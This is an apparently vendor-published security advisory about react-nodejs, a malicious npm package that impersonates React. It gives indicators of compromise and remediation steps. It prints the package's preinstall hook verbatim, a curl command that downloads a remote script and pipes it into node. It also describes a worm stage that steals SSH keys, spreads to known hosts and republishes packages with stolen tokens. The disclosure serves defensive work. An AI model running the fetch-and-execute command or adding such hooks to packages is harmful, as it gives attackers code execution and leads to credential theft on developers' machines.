NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

react-nodejsnpm

Advisory published Updated

react-nodejs is a confirmed malicious npm package (MAL-2026-17294) that steals credentials and exfiltrates sensitive data (malicious version 19.3.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in react-nodejs (npm)

MAL-2026-17294
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall react-nodejs

What this malware does

The package react-nodejs impersonates the legitimate 'react' package (it republishes react's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 19.3.0 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

package.json declares a preinstall lifecycle hook that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching a JavaScript file from an unrelated third-party Codeberg user's repository on a mutable branch (proxied through web.archive.org) and executing it in Node on the installer's machine at npm install time. The fetched content is unpinned, unverified, and controlled by an account with no relationship to the React publisher. The package additionally impersonates React: name react-nodejs, description copied from React, homepage set to https://react.dev/, and repository pointing at github.com/react/react.git, while being published by an unrelated author — a typosquat lure amplifying the install-time remote code execution.

Malicious versions

1 flagged
19.3.0

Indicators of compromise (SHA-256)

5777ca86863da9fabb9da8e1a0d6c2f30f05533265624b2da07a8d0804930481

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for react-nodejs (version 19.3.0).

  2. If you installed it — respond

    react-nodejs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If react-nodejs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. react-nodejs on npm has been identified as a malicious package (version 19.3.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020688

References

Credits

  • Amazon Inspector · finder
  • Pranesh, InvisiRisk · finder
  • SafeDep · finder

Detect & block this

O3 blocks react-nodejs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

react-nodejs (npm) malicious package — MAL-2026-17294 | O3 Security